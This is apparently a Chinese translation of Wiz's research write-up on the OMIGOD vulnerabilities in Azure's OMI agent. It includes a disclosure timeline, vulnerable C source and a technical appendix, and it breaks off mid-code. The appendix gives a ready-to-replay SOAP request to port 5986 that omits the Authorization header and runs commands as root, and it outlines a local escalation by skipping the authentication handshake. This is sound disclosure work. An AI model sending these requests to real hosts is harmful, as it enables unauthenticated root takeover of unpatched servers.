OMIGOD 影响无数Azure客户的OMI漏洞|CVE-2021-38647

OMIGOD 影响无数Azure客户的OMI漏洞|CVE-2021-38647

概述

Wiz 研究团队最近在 OMI 中发现了四个关键漏洞,OMI 是 Azure 最普遍但最不为人知的软件代理之一,部署在 Azure 中的大部分 Linux VM 上。这些漏洞非常容易被利用,允许攻击者通过单个请求在网络中远程执行任意代码并升级到 root 权限。

Azure 中的许多不同服务都受到影响,包括Azure 日志分析Azure 诊断Azure 安全中心,因为 Microsoft 在幕后广泛使用 OMI 作为其许多 VM 管理服务的通用组件。在一项调查中,Wiz 发现超过 65% 的抽样 Azure 客户暴露于这些漏洞并在不知不觉中处于危险之中。尽管使用广泛,但 Azure VM 中的 OMI 功能几乎完全没有文档记录,并且没有针对客户如何检查和/或升级现有 OMI 版本的明确指南。有关漏洞和缓解更新的高级概述,请访问我们的 OMIGOD 博客. 有关在您的环境中识别和修复 OMIGOD 的指导,请下载我们的清单。

在这篇文章中,我们通过以下部分描述了我们发现的漏洞的完整技术细节:

什么是OMI

OMI 是 UNIX/Linux 等价于 Window 的 WMI。它允许用户跨远程和本地环境管理配置并收集统计信息。由于 OMI 提供的易用性和抽象性,它在 Azure 中被广泛使用,特别是在开放管理套件(OMS)、Azure InsightsAzure 自动化等中。

作为上述服务的载入过程的一部分,OMI 代理会自动部署在 Azure VM 上。但是,Azure 中没有关于 OMI 的部署、监控和更新的明确文档。

此外,OMI 代理经常在本地用于管理 Linux 机器。例如,OMI 内置于 Microsoft System Center for Linux(Microsoft 的服务器管理解决方案)中。  

OMI 的功能可以通过提供者进行扩展。例如,用户可以使用适当的 docker 提供程序查询 docker 容器信息,或者使用SCX Provider检索和创建 Unix 进程。

哪些版本受影响

大多数使用 Azure 的大型组织都会受到影响。基本上,任何使用以下一项或多项 Azure 服务的客户:

  • Azure 自动化
  • Azure 自动更新
  • Azure 运营管理套件
  • Azure 日志分析
  • Azure 配置管理
  • Azure 诊断
  • Azure 容器洞察

请注意,这只是部分列表。如果您知道更多 Azure 服务静默部署 OMI,请告诉我们

为什么攻击者对OMI攻击感兴趣

OMI 代理以具有高权限的 root 身份运行。当配置为允许外部使用时,任何用户都可以使用 UNIX 套接字或有时使用 HTTP API 与它通信。因此,OMI 代表了一个可能的攻击面,其中漏洞允许外部用户或低权限用户在目标机器上远程执行代码或提升权限。

某些 Azure 产品(例如配置管理)公开了一个用于与 OMI 交互的 HTTPS 端口(端口 5986 也称为 WinRM 端口)。此配置启用 RCE 漏洞 (CVE-2021-38647)。值得一提的是,大多数使用 OMI 的 Azure 服务在部署它时不会暴露 HTTPS 端口。

请注意,在 OMI 端口(5986/5985/1270)可以访问互联网以允许远程管理的场景中,攻击者也可以利用此漏洞获得对目标 Azure 环境的初始访问,然后在其中横向移动. 因此,暴露的 HTTPS 端口是恶意攻击者的圣杯。如下图所示,通过一个简单的漏洞利用,他们可以访问新目标,以最高权限执行命令,并可能传播到新目标机器

OMIGOD 影响无数Azure客户的OMI漏洞|CVE-2021-38647
图 1:使用 CVE-2021-38647 进行横向移动。

其他三个漏洞被归类为提权漏洞,它们可以使攻击者在安装了 OMI 的机器上获得最高权限。攻击者在获得对其目标的初始低特权访问后,经常将此类漏洞用作复杂攻击链的一部分。

CVE-2021-38647 – 远程代码执行 – 删除身份验证标头,您就是 root

这是一个教科书示的RCE 漏洞,直接来自 90 年代,但发生在 2021 年,影响了数百万个端点。使用单个数据包,攻击者只需删除身份验证标头即可成为远程机器上的 root。怎么会这么简单?

由于简单的条件语句编码错误和未初始化的身份验证结构的组合,任何没有 Authorization 标头的请求的权限默认为uid =0, gid =0,即 root。 O-MI-GOD!

当 OMI 对外暴露 HTTPS 管理端口 (5986/5985/1270) 时,此漏洞允许远程接管。这实际上是独立安装和 Azure Configuration Management 或 System Center Operations Manager (SCOM) 中的默认配置。幸运的是,其他 Azure 服务(例如 Log Analytics)不会公开此端口,因此范围仅限于本地提权。

下图说明了在没有授权标头的情况下发出命令执行请求时 OMI 的意外行为。

OMIGOD 影响无数Azure客户的OMI漏洞|CVE-2021-38647
图 2:图示的 OMIGOD RCE 漏洞
  1. 身份验证标头中具有有效密码的正常流程– omicli 向远程 OMI 实例发出 HTTP 请求,在授权标头中传递登录信息。
  2. 传递无效的身份验证标头时授权失败– 正如预期的那样,如果 omicli 传递无效的标头,则会失败。
  3. 传递没有身份验证标头的命令时利用流程– 即使没有身份验证标头,OMI 服务器也信任请求,并启用完美的 RCE:单一请求到所有规则。

这是所需的最少补丁:从 OMI GitHub 存储库中,简单地初始化为无效值……

OMIGOD 影响无数Azure客户的OMI漏洞|CVE-2021-38647
图3: 在“增强的安全”提交中应用的补丁

我们发现的另一个令人不安的问题是,这个提交已经在 OMI GitHub 存储库中提供给任何人一个多月了!这意味着威胁行为者可能在一个多月前就开始利用这些漏洞,而无需事先通知客户。

CVE-2021-38648 – 本地权限提升概述

以下漏洞会影响 1.6.8-1 版本之前的所有 OMI 安装。此漏洞是本地权限提升,与上述远程命令执行 (CVE-2021-38647) 非常相似。利用过程也类似:记录来自omicli的合法命令执行请求,省略身份验证部分并重新发出命令执行请求。无论当前用户权限如何,该命令都将以 root 身份执行。这听起来可能与远程命令执行相同,但根本原因分析表明这是一个完全不同的缺陷。

OMI架构

OMI 具有前端-后端架构。用户不直接与omiserver通信。反而,服务器以 root 身份运行,而名为omiengine的低权限前端进程以omi用户身份运行。

OMIGOD 影响无数Azure客户的OMI漏洞|CVE-2021-38647
图4:linux进程列表中的omiserveromiengine

低权限用户与omiserver通信的唯一方法是通过其前端进程omiengine

OMIGOD 影响无数Azure客户的OMI漏洞|CVE-2021-38647
图 5:图示的 OMI 架构

这种架构使得omiserver识别通信另一端的用户变得特别具有挑战性。该omiserver必须信任omiengine对用户的身份。因此,omiengine转发到omiserver 的每条消息都带有AuthInfo结构,其中包含用户的uidgid

正如 RCE 漏洞概述中提到的,AuthInfo结构被初始化为uidgid都为零,即 root 用户的uidgid。因此,如果攻击者设法在任何身份验证过程发生之前发出转发到omiserver的请求,该请求将被omiserver处理,就好像它是由 root 用户发出的一样。

所述omiengine具有非常有问题的请求处理逻辑。有一组消息类型(例如身份验证请求),omiengine在将它们转发到服务器之前需要对其进行特殊处理。对于没有特殊处理的请求,omiengine只是将它们与AuthInfo 一起转发到服务器,无需任何验证而不管客户端的身份验证状态如何。例如 – 特定的提供者请求,例如能够创建任意 UNIX 进程的SCX 提供者

OMIGOD 影响无数Azure客户的OMI漏洞|CVE-2021-38647
图 6:低权限用户使用omicli执行命令

下图说明了使用omicli发出命令执行请求时发生的通信

OMIGOD 影响无数Azure客户的OMI漏洞|CVE-2021-38647
图 7:有效的omicli – OMI 命令执行流程

没有特殊处理的消息(例如“execute /bin/id”请求)被转发到服务器。这意味着如果我们自己发出命令执行请求,而不依赖于omicli,新进程将在AuthInfo结构中的默认权限下产生,即uid =0, gid =0 – root 权限!

为了利用此漏洞,攻击者所要做的就是拦截omicliomiengine之间的通信,省略身份验证握手,命令将以 root 身份执行。

OMIGOD 影响无数Azure客户的OMI漏洞|CVE-2021-38647
图 8:CVE-2021-38648 允许低权限用户将其权限提升为 root – 攻击者所需的只是跳过身份验证请求。

您可以在技术附录中找到对 CVE-2021-38647、CVE-2021-38648 和 CVE-2021-38645 的更深入的技术分析。

关键要点——“秘密”特工的风险

尽管我们研究了开放管理基础结构的一小部分,但我们还是设法找到了几个影响多个 Azure 产品的高/严重漏洞。漏洞利用的简易性和简单性让您怀疑 OMI 项目是否足够成熟,可以在 Azure 中如此广泛地使用。

OMI 是预装软件代理的一个示例,云提供商将其构建到在其云中运行的 VM 中。有问题的是,这个“秘密”代理既被广泛使用(因为它是开源的)并且对客户完全不可见,因为它在 Azure 中的使用完全没有记录。

客户没有简单的方法可以知道他们的哪些 VM 正在运行 OMI,因为 Azure 没有在 Azure 门户的任何地方提及 OMI,这会削弱客户的风险评估能力。这个问题凸显了著名的责任共担模型的差距。一个由云提供商负责的代理很容易被攻击者用来远程获取他们目标的高权限,而真正的悲剧是客户甚至无法知道他们是否愿意接受这种攻击。  

此外,目前还不清楚谁负责修补此类漏洞。是不知道代理存在的用户吗?是不应该在机器上拥有管理员权限的云提供商吗?  

我们希望提高对在云环境中以高权限运行的“秘密”代理所带来的风险的认识,特别是在更新到最新版本的 OMI 之前目前处于风险中的 Azure 客户。我们敦促研究社区继续审核开放式管理基础结构以确保 Azure 用户保持安全。

要了解有关识别和修复 OMIGOD 的更多信息,请下载我们的清单,并获得分步指导

关键要点–微软在 OMI 存储库中的补丁程序–不负责任的披露?

任何跟踪 OMI 的 GitHub 提交日志的人都会注意到,2021 年 8 月 12 日引入了一个奇怪的“增强安全性”提交。通过做一个简单的补丁差异,一个坚定的攻击者可以开发这些漏洞的利用。这尤其令人担忧,因为微软的官方补丁 ( v1.6.8-1 ) 仅在 2021 年 9 月 8 日发布,在向攻击者提供有关漏洞的“无声”提示后,受影响的用户在近一个月的时间里无能为力来防止被利用。

披露时间表

20216 月 1 日– Wiz 研究团队向 MSRC 报告了所有 4 个 OMI 漏洞。
2021
7 月 12 日– MSRC 确认了其中一个本地提权漏洞 (CVE-2021-38648)。
2021
7 月 16 日– MSRC 确认了其中一个本地提权漏洞 (CVE-2021-38645)。
2021
7 月 16 日– MSRC 确认了远程命令执行漏洞 (CVE-2021-38647)。
2021
7 月 23 日– MSRC 确认了其中一个本地提权漏洞 (CVE-2021-38649)。
2021
8 月 12 日– Wiz 研究团队观察到“增强安全性”提交修复了所有 4 个报告的漏洞。
2021
9 月 8 日– 官方补丁发布。
2021 年 9 月 14 日
 – 9 月补丁星期二发布的所有 4 个漏洞。

附录:完整的技术说明

CVE-2021-38647-未经身份验证的远程命令执行

首先让我们检查一个远程 OMI 使用的合法示例。我们将执行以下命令:

/opt/omi/bin/omicli --hostname 192.168.1.1 -u azureuser -p Password1 iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command 'id' timeout 0 }

将显示以下输出:

instance of ExecuteShellCommand
{
    ReturnValue=true
    ReturnCode=0
    StdOut=uid=1000(azureuser) gid=1000(azureuser) groups=1000(azureuser),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)

    StdErr=
}

看起来很简单。任何用户,在我们的例子中azureuser,都可以执行任意命令,只要提供了正确的密码,该命令就会以用户的权限执行。通过使用 Burp Suite 并检查流量,我们可以看到该协议非常基本:

POST /wsman/ HTTP/1.1
Connection: Keep-Alive
Content-Length: 1505
Content-Type: application/soap+xml;charset=UTF-8
Authorization: Basic YXp1cmV1c2VyOlBhc3N3b3JkMQo= <--- (1)
Host: 192.168.1.1:5986

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema">
   <s:Header>
      <a:To>HTTP://192.168.1.1:5986/wsman/</a:To>
      <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
      <a:ReplyTo>
         <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
      </a:ReplyTo>
      <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
      <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
      <a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
      <w:OperationTimeout>PT1M30S</w:OperationTimeout>
      <w:Locale xml:lang="en-us" s:mustUnderstand="false" />
      <p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
      <w:OptionSet s:mustUnderstand="true" />
      <w:SelectorSet>
         <w:Selector Name="__cimnamespace">root/scx</w:Selector>
      </w:SelectorSet>
   </s:Header>
   <s:Body>
      <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
         <p:command>id</p:command> <--- (2)
         <p:timeout>0</p:timeout>
      </p:ExecuteShellCommand_INPUT>
   </s:Body>
</s:Envelope>

用户提供的凭据在 Authorization 标头中传递,使用 Basic authentication (1)。用户的命令在 SOAP/XML 主体(2)内传递。这是对上述请求的响应:

HTTP/1.1 200 OK
Content-Length: 1415
Connection: Keep-Alive
Content-Type: application/soap+xml;charset=UTF-8

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <SOAP-ENV:Header>
      <wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
      <wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</wsa:Action>
      <wsa:MessageID>uuid:6E73E6A0-C38A-0005-0000-000000020000</wsa:MessageID>
      <wsa:RelatesTo>uuid:0AB58087-C2C3-0005-0000-000000010000</wsa:RelatesTo>
   </SOAP-ENV:Header>
   <SOAP-ENV:Body>
      <p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
         <p:ReturnValue>TRUE</p:ReturnValue>
         <p:ReturnCode>0</p:ReturnCode>
         <p:StdOut>uid=1000(azureuser) gid=1000(azureuser) groups=1000(azureuser),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)</p:StdOut>
         <p:StdErr />
      </p:SCX_OperatingSystem_OUTPUT>
   </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

如果我们尝试在 Authorization 标头中传递错误的凭据

POST /wsman HTTP/1.1
Connection: Keep-Alive
Content-Length: 1505
Content-Type: application/soap+xml;charset=UTF-8
Authorization: Basic YXp1cmV1c2VyOlBhc3N3b3JkMgo= // <--- Wrong credentials
Host: 192.168.1.1:5986

...

我们按预期收到 401 响应:

HTTP/1.1 401 Unauthorized
Content-Length: 0
WWW-Authenticate: Basic realm="WSMAN"
WWW-Authenticate: Negotiate
WWW-Authenticate: Kerberos

如果我们在没有 Authorization 标头的情况下发出相同的 HTTP 请求,您会期望发生什么?我们希望收到相同的 401 Unauthorized 响应,类似于我们提供虚假凭据时收到的响应。

POST /wsman HTTP/1.1
Connection: Keep-Alive
Content-Length: 1505
Content-Type: application/soap+xml;charset=UTF-8
Host: 192.168.1.1:5986

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema">
   <s:Header>
      <a:To>HTTP://192.168.1.1:5986/wsman/</a:To>
      <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
      <a:ReplyTo>
         <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
      </a:ReplyTo>
      <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
      <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
      <a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>
      <w:OperationTimeout>PT1M30S</w:OperationTimeout>
      <w:Locale xml:lang="en-us" s:mustUnderstand="false" />
      <p:DataLocale xml:lang="en-us" s:mustUnderstand="false" />
      <w:OptionSet s:mustUnderstand="true" />
      <w:SelectorSet>
         <w:Selector Name="__cimnamespace">root/scx</w:Selector>
      </w:SelectorSet>
   </s:Header>
   <s:Body>
      <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
         <p:command>id</p:command>
         <p:timeout>0</p:timeout>
      </p:ExecuteShellCommand_INPUT>
   </s:Body>
</s:Envelope>

我们绝对没想到会收到以下回复:

HTTP/1.1 200 OK
Content-Length: 1415
Connection: Keep-Alive
Content-Type: application/soap+xml;charset=UTF-8

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:e="http://schemas.xmlsoap.org/ws/2004/08/eventing" xmlns:msftwinrm="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsen="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:wsmb="http://schemas.dmtf.org/wbem/wsman/1/cimbinding.xsd" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd" xmlns:wxf="http://schemas.xmlsoap.org/ws/2004/09/transfer" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <SOAP-ENV:Header>
      <wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
      <wsa:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</wsa:Action>
      <wsa:MessageID>uuid:6E73E6A0-C38A-0005-0000-000000030000</wsa:MessageID>
      <wsa:RelatesTo>uuid:0AB58087-C2C3-0005-0000-000000010000</wsa:RelatesTo>
   </SOAP-ENV:Header>
   <SOAP-ENV:Body>
      <p:SCX_OperatingSystem_OUTPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
         <p:ReturnValue>TRUE</p:ReturnValue>
         <p:ReturnCode>0</p:ReturnCode>
         <p:StdOut>uid=0(root) gid=0(root) groups=0(root)</p:StdOut>
         <p:StdErr />
      </p:SCX_OperatingSystem_OUTPUT>
   </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

命令执行!最重要的是,它以root权限执行!正如我们之前提到的,我们认为这是一些非常意外的行为。让我们通过检查源代码来了解此错误的根本原因:

有两个重要的结构要记住:Http_SR_SocketDataAuthInfo

typedef struct _Http_SR_SocketData {
    ....
    /* Set true when auth has passed */
    MI_Boolean isAuthorised;

    /* Set true when auth has failed */
    MI_Boolean authFailed;

    /* Requestor information */
    AuthInfo authInfo;

    volatile ptrdiff_t refcount;
} Http_SR_SocketData;

typedef struct _AuthInfo
{
    // Linux version
    uid_t uid;
    gid_t gid;
}
AuthInfo;

当新用户连接到服务器时,会调用_ListenerCallback函数。该函数创建一个新的Http_SR_SocketDatamemset为 0)并初始化它的一些字段。

static MI_Boolean _ListenerCallback(
    Selector* sel,
    Handler* handler_,
    MI_Uint32 mask,
    MI_Uint64 currentTimeUsec)
{
....

        /* Create handler */
        h = (Http_SR_SocketData*)Strand_New( STRAND_DEBUG( HttpSocket ) &_HttpSocket_FT, sizeof(Http_SR_SocketData), STRAND_FLAG_ENTERSTRAND, NULL );

        if (!h)
        {
            trace_SocketClose_Http_SR_SocketDataAllocFailed();
            HttpAuth_Close(handler_);
            Sock_Close(s);
            return MI_TRUE;
        }

        /* Primary refount -- secondary one is for posting to protocol thread safely */
        h->refcount = 1;
        h->http = self;
        h->pAuthContext  = NULL;
        h->pVerifierCred = NULL;
        h->isAuthorised = FALSE;
        h->authFailed   = FALSE; <--- (1)
        h->encryptedTransaction = FALSE;
        h->pSendAuthHeader = NULL;
        h->sendAuthHeaderLen = 0;
        ....
}

上面代码片段的重要部分是h->authFailed字段被初始化为FALSE (1)。另一个重要的函数是_ReadData,它也处理部分身份验证。这是包含关键逻辑错误的函数:

static Http_CallbackResult _ReadData(
    Http_SR_SocketData* handler)
{
....

    /* If we are authorised, but the client is sending an auth header, then
     * we need to tear down all of the auth state and authorise again.
     * NeedsReauthorization does the teardown
     */

    if(handler->recvHeaders.authorization) <--- (1)
    {
        Http_CallbackResult authorized;
        handler->requestIsBeingProcessed = MI_TRUE;

        if (handler->isAuthorised)
        {
            Deauthorize(handler);
        }

        authorized = IsClientAuthorized(handler);

        if (PRT_RETURN_FALSE == authorized)
        {
            goto Done;
        }
        else if (PRT_CONTINUE == authorized)
        {
            return PRT_CONTINUE;
        }
    }
    else
    {
        /* Once we are unauthorised we remain unauthorised until the client
           starts the auth process again */

        if (handler->authFailed) <--- (2)
        {
            handler->httpErrorCode = HTTP_ERROR_CODE_UNAUTHORIZED;
            return PRT_RETURN_FALSE;
        }
    }

    r = Process_Authorized_Message(handler); <--- (3)
Done:
    handler->recvPage = 0;
    handler->receivedSize = 0;
    memset(&handler->recvHeaders, 0, sizeof(handler->recvHeaders));
    handler->recvingState = RECV_STATE_HEADER;
    return PRT_CONTINUE;
}

你能发现漏洞吗?让我们考虑一下当我们不提供 Authorization 标头时函数如何处理我们的请求。第一个条件(1)评估为false,我们最终在 else 语句中,其中第二个条件(2)评估为false(因为我们没有启动任何身份验证程序,因此authFailed字段设置为false) . 然后我们继续使用Process_Authorized_Message函数,它将我们的请求作为经过身份验证的请求进行处理。但是有什么权限?因为整个结构以前被memset ‘ed 为 0,AuthInfostruct 包含uid =0, gid =0,这意味着我们的请求将被处理,就像我们以 root 身份进行身份验证一样!

OMIGOD 影响无数Azure客户的OMI漏洞|CVE-2021-38647
图 9:图示的 OMIGOD RCE 漏洞

更多架构细节

要了解接下来的两个漏洞,我们需要仔细查看 OMI 的架构。OMI 具有前端-后端架构。用户不直接与omiserver通信。不是以 root 身份运行的服务器,而是有一个称为omiengine的低特权前端进程,它以omi用户身份运行。与omiserver通信的唯一方法是通过/etc/opt/omi/conf/sockets/目录中的 UNIX 套接字,该目录只能由omi用户访问,这意味着只有omi用户下的进程才能与omiserver通信。任何本地用户都可以与omiengine通过/var/opt/omi/run/omiserver.sock UNIX 套接字,它具有完整的 RWX 权限。

OMIGOD 影响无数Azure客户的OMI漏洞|CVE-2021-38647
图 10:图示的 OMI 架构

这种架构使得omiserver很难识别在 UNIX 套接字另一端进行通信的用户。omiserver必须信任omiengine对用户的身份在UNIX插座的另一端。

为了说明,这里是用户使用omi执行/bin/id二进制文件时发生的通信图:

/opt/omi/bin/omicli iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command 'id' timeout 0 }

这产生以下输出:

instance of ExecuteShellCommand
{
    ReturnValue=true
    ReturnCode=0
    StdOut=uid=1000(azureuser) gid=1000(azureuser) groups=1000(azureuser),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)

    StdErr=
}

当未提供用户凭据时,omi以 UNIX 套接字另一端的用户身份执行隐式身份验证。

OMIGOD 影响无数Azure客户的OMI漏洞|CVE-2021-38647
图 11:有效的 omicli – OMI 命令执行流程

CVE-2021-38648 – 本地权限提升

omicliomiengine之间的每个连接都定义在一个ProtocolSocket结构中,这里是底层结构,省略了不相关的字段。

typedef struct _ProtocolSocket
{
    /* based member*/
    Handler             base;

    Strand              strand;

    /* currently sending message */
    Message*            message;
    size_t              sentCurrentBlockBytes;
    int                 sendingPageIndex;       /* 0 for header otherwise 1-N page index */

    /* receiving data */
    Batch *             receivingBatch;
    size_t              receivedCurrentBlockBytes;
    int                 receivingPageIndex;     /* 0 for header otherwise 1-N page index */

    /* holds allocation of protocol socket to server */
    Batch *             engineBatch;

    /* send/recv buffers */
    Header              recv_buffer;
    Header              send_buffer;

    /* Client auth state */
    Protocol_AuthState  clientAuthState;
    /* Engine auth state */
    Protocol_AuthState  engineAuthState;
    /* server side - auhtenticated user's ids */
    AuthInfo            authInfo;
    Protocol_AuthData*  authData;
}
ProtocolSocket;

值得牢记的最重要的字段之一是AuthInfo类型的authInfo字段,其定义如下:

typedef struct _AuthInfo
{
    // Linux version
    uid_t uid;
    gid_t gid;
}
AuthInfo;

当用户通过/var/opt/omi/run/omiserver.sockomiengine建立新连接时,会分配一个新的ProtocolSocket,具体来说,callocated。这意味着所有字段都初始化为 0,包括连接用户的uidgid

连接初始化后,每个用户消息都由_ProcessReceivedMessage函数处理。

static Protocol_CallbackResult _ProcessReceivedMessage(
    ProtocolSocket* handler)
{
    ....
        if (msg->tag == PostSocketFileTag)
        {
            ....
        }
        else if (msg->tag == VerifySocketConnTag)
        {
            ....
        }
        ..... // More msg->tag "else if" statements
        else if (msg->tag == BinProtocolNotificationTag && PRT_AUTH_OK != handler->clientAuthState) // Is this msg part of authentication process?
        {
         ....
        }
        else
        {
            // Foreword the msg directly to the destination

            //disable receiving anything else until this message is ack'ed
            handler->base.mask &= ~SELECTOR_READ;
            // We cannot use Strand_SchedulePost becase we have to do
            // special treatment here (leave the strand in post)
            // We can use otherMsg to store this though
            Message_AddRef( msg );  // since the actual message use can be delayed
            handler->strand.info.otherMsg = msg;
            Strand_ScheduleAux( &handler->strand, PROTOCOLSOCKET_STRANDAUX_POSTMSG );
            ret = PRT_RETURN_TRUE;
        }

        Message_Release(msg);
    }

    return ret;
}

您可以将_ProcessReceivedMessage视为作用于msg->tag字段的switch语句,其中默认情况是将消息直接转发到服务器,而不管用户的身份验证状态。

OMIGOD 影响无数Azure客户的OMI漏洞|CVE-2021-38647
图 12:CVE-2021-38648 允许低权限用户将其权限提升为 root – 攻击者所需的只是跳过身份验证请求。

身份验证消息属于BinProtocolNotificationTag子句,而命令执行请求本身不匹配任何if-else子句并由默认过程处理,因此无论用户身份验证状态如何,消息都会转发到服务器. 这是一些有趣的行为,因为omiserver信任omiengine来处理用户的身份验证状态和身份。让我们想想如果用户在发送执行命令请求之前不进行身份验证协商会发生什么:相反,一旦用户连接到omiengine,他立即发出执行命令请求。如前所述,消息将被转发到服务器。在omiserver依赖于omiengine以提供用户的UIDGID作为消息元数据的一部分。如果用户没有启动身份验证过程,则uidgid保持不变,并且如前所述,AuthInfo结构被memset ‘ed 为 0,这意味着uidgid都等于 0,即uidgid根用户的。这种漏洞的概念验证非常简单。我们首先需要记录omicliomiengine之间的通信,省略第一个认证请求,只发送命令执行请求并获得 root 命令执行。

CVE-2021-38645 – 本地权限提升

正如前面提到的,OMI具有前端,后端架构,这意味着omiengine接收来自客户端的认证请求,omicli,问题一个新的认证请求omiserver,节省认证结果信息,如用户的UIDGID和前锋返回给用户的响应。

查看_ProcessReceivedMessage函数内部的认证逻辑:

static Protocol_CallbackResult _ProcessReceivedMessage(
    ProtocolSocket* handler)
{
...
                BinProtocolNotification* binMsg = (BinProtocolNotification*) msg;
                if (binMsg->type == BinNotificationConnectRequest)
                {
                    // forward to server

                    uid_t uid = INVALID_ID;
                    gid_t gid = INVALID_ID;
                    Sock s = binMsg->forwardSock;
                    Sock forwardSock = handler->base.sock;

                    // Note that we are storing (socket, ProtocolSocket*) here
                    r = _ProtocolSocketTrackerAddElement(forwardSock, handler); <--- (1)

                    if(MI_RESULT_OK != r)
                    {
                        trace_TrackerHashMapError();
                        return PRT_RETURN_FALSE;
                    }

                    DEBUG_ASSERT(s_socketFile != NULL);
                    DEBUG_ASSERT(s_secretString != NULL);

                    /* If system supports connection-based auth, use it for
                       implicit auth */
                    if (0 != GetUIDByConnection((int)handler->base.sock, &uid, &gid))
                    {
                        uid = binMsg->uid;
                        gid = binMsg->gid;
                    }

                    /* Create connector socket */
                    {
                        if (!handler->engineBatch)
                        {
                            handler->engineBatch = Batch_New(BATCH_MAX_PAGES);
                            if (!handler->engineBatch)
                            {
                                return PRT_RETURN_FALSE;
                            }
                        }

                        ProtocolSocketAndBase *newSocketAndBase = Batch_GetClear(handler->engineBatch, sizeof(ProtocolSocketAndBase));
                        if (!newSocketAndBase)
                        {
                            trace_BatchAllocFailed();
                            return PRT_RETURN_FALSE;
                        }

                        r = _ProtocolSocketAndBase_New_Server_Connection(newSocketAndBase, protocolBase->selector, NULL, &s); <--- (2)
                        if( r != MI_RESULT_OK )
                        {
                            trace_FailedNewServerConnection();
                            return PRT_RETURN_FALSE;
                        }

                        handler->clientAuthState = PRT_AUTH_WAIT_CONNECTION_RESPONSE;
                        handler = &newSocketAndBase->protocolSocket;
                        newSocketAndBase->internalProtocolBase.forwardRequests = MI_TRUE;

                        // Note that we are storing (socket, ProtocolSocketAndBase*) here
                        r = _ProtocolSocketTrackerAddElement(s, newSocketAndBase); <--- (3)

                        if(MI_RESULT_OK != r)
                        {
                            trace_TrackerHashMapError();
